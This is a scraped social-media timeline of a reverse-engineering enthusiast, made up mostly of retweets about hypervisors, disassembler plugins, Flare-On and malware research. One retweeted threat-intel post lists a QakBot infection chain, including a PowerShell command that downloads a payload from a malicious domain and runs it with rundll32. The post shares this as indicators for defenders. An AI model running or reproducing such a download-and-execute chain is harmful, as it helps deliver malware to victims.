The best is yet to come.
Joined November 2021
- Tweets866
- Following114
- Followers704
- Likes11K
wew lad youtube.com/watch?v=VyEvZw1r…
last mission for the year should be finishing this hardened HV and trying to recompile C++ triton libs again.
and some other comfy tool that might be releasing in a couple of weeks, trash if you ask me, but compilers are hard :(
1
272
HV are also surprisingly complex, but that's also my mistake: tandasat.github.io/HyperPlat…
should have read this instead of writing more garbage kernel code.
150
Milk2 retweeted
Thanks to marcan (social.treehouse.systems/@ma…) and @zhuowei (xitter.gq/zhuowei/status/1740504…) now we know the original purpose for this unknown hardware feature. Its MMIO debug registers for GPU L2 cache. I am really excited that we are very close to solving this mystery!
We're revealing details of an obscure debugging feature in the Apple A12-A16 SoC’s that bypasses all of the hard-to-hack hardware-based memory protections on new iPhones. Its not used by the firmware and we don't know how the attackers found out about it. securelist.com/operation-tri…
Milk2 retweeted
Thanks to @nicolodev, the new version of my #binaryninja plugin "obfuscation_detection" includes a heuristic to detect arithmetically complex expressions, which pinpoints arithmetic obfuscation and cryptography in binaries.
Plugin: github.com/mrphrazer/obfusca…
Milk2 retweeted
The #flareon10 countdown is now live at flare-on.com. Clear your weekend plans for Sept. 30th.
It's that time of the year.... again....
The #flareon10 countdown is now live at flare-on.com. Clear your weekend plans for Sept. 30th.
290
Milk2 retweeted
A new blog post on Intel VT-rp! Part 1 is about how HLAT prevents the remapping attack, taking Windows as an example platform.
tandasat.github.io/blog/2023…
Sample hypervisor code:
github.com/tandasat/Hello-VT…
Milk2 retweeted
It kind of sucks, but I finally implemented something I've wanted for a while, MSVC/x64 exception support in Hex-Rays.
Milk2 retweeted
reversing.info/posts/hyperde…
The new blog post is out 👀
Milk2 retweeted
I've published HyperDeceit's source code at github.com/Xyrem/HyperDeceit! The blog post should be out later tonight or tomorrow so go check it out :)
Milk2 retweeted
New Video "Reverse Engineering Mixed Mode Assemblies (#IDA, #DnSpyEx)" is out 💙😊🙏
Covering:
- Mixed Mode Assembly in General
- Static Analysis in IDA and DnSpyEx
- Dynamic Analysis - combination of IDA and dnSpyEx and debug controlling between them
youtu.be/H8gr3NxWteM
Milk2 retweeted
#Qakbot - tok01 - .one > .ps > .dll > (decoy .pdf)
cmd.exe /c ngops.bat
poweRshell -C iwr http://waojernote.]com/images/1.gif -o C:\ProgramData\lesian.dat
poweRshell -C Start-Sleep 12
rundll32 C:\ProgramData\lesian.dat,Wind
IOC's
github.com/pr0xylife/Qakbot/…
Milk2 retweeted
Interesting fresh #Qakbot sample with lots of log messages. Version 404.447, campaign BB12, timestamp 2023-02-02 08:21:43.
virustotal.com/gui/file/232e…
Milk2 retweeted
In 2022, QakBot has beaten #Emotet in number of malware sites by over 10 times 😯 In total, security researchers shared over half a million malware sites 💪 Every fourth was tied to #QakBot 🔥
Top reporters in 2022:
🏆 @lrz_urlhaus
🥇 @geenensp
🥈 @Cryptolaemus1
🥉 @bry_campbell
ALT Top malware threats distribution through malware sites in 2022. Data source: URLhaus
Milk2 retweeted
After 20 years BugChecker is back! A SoftICE-like kernel debugger for Windows 11 (and Windows XP as well). Check it out: github.com/vitoplantamura/Bu…
